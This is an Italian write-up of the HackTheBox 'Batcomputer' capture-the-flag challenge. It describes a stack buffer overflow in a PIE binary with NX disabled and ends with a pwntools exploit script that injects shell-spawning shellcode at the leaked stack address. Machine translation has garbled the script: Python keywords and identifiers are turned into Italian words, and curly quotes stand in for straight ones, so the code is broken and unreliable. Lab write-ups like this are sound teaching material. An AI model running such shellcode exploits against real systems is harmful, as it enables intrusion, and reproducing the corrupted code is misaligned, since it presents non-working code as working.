Abbiamo trattato un binario che ha solo PIE o Position Independent Executable abilitato come protezione mentre NX era disabilitato. Abbiamo analizzato il binario con Ghidra e GDB. Abbiamo scoperto che il file binario perde l'indirizzo di memoria della variabile utilizzata per memorizzare l'input dell'utente. Sulla base di ciò, abbiamo anche scoperto che il file binario legge fino a 137 byte di input dell'utente e lo memorizza in una variabile la cui dimensione del buffer è di 76 byte, che è la vulnerabilità principale di questa app. Abbiamo causato un errore di segmentazione in base a ciò e abbiamo riscontrato che l'offset era di 84 byte. Sulla base dell'analisi di cui sopra, abbiamo creato lo script di sfruttamento contenente il parametro di connessione e il payload finale. Questo faceva parte HackTheBox Batcomputer | Introduzione allo sfruttamento binario
Note sulle tecniche di buffer overflow
Il codice dell'exploit è riportato di seguito
##Binzio
da pwn importare *
contesto.binario = ELFO('./batcomputer')
con = a distanza(‘157.245.39.76’,31662)
con.sendline(‘1’)
con.recvuntil('0x')
stack_base = int((“0x”+con.recv().decodificare('latino-1').diviso()[0]),16)
tronco d'albero.successo(F'base dello stack: {esadecimale(stack_base)}‘)
con.sendline(‘2’)
con.sendline('b4tp@$$w0rd!')
carico utile = asm(shellcraft.popad() + shellcraft.sh()) Codice shell #
carico utile += B'UN'*(84 – len(carico utile)) # no
carico utile += p64(stack_base) Base impilabile #
con.sendline(carico utile)
con.sendline(‘3’)
con.interattivo()
##Fine
Videoprocedura dettagliata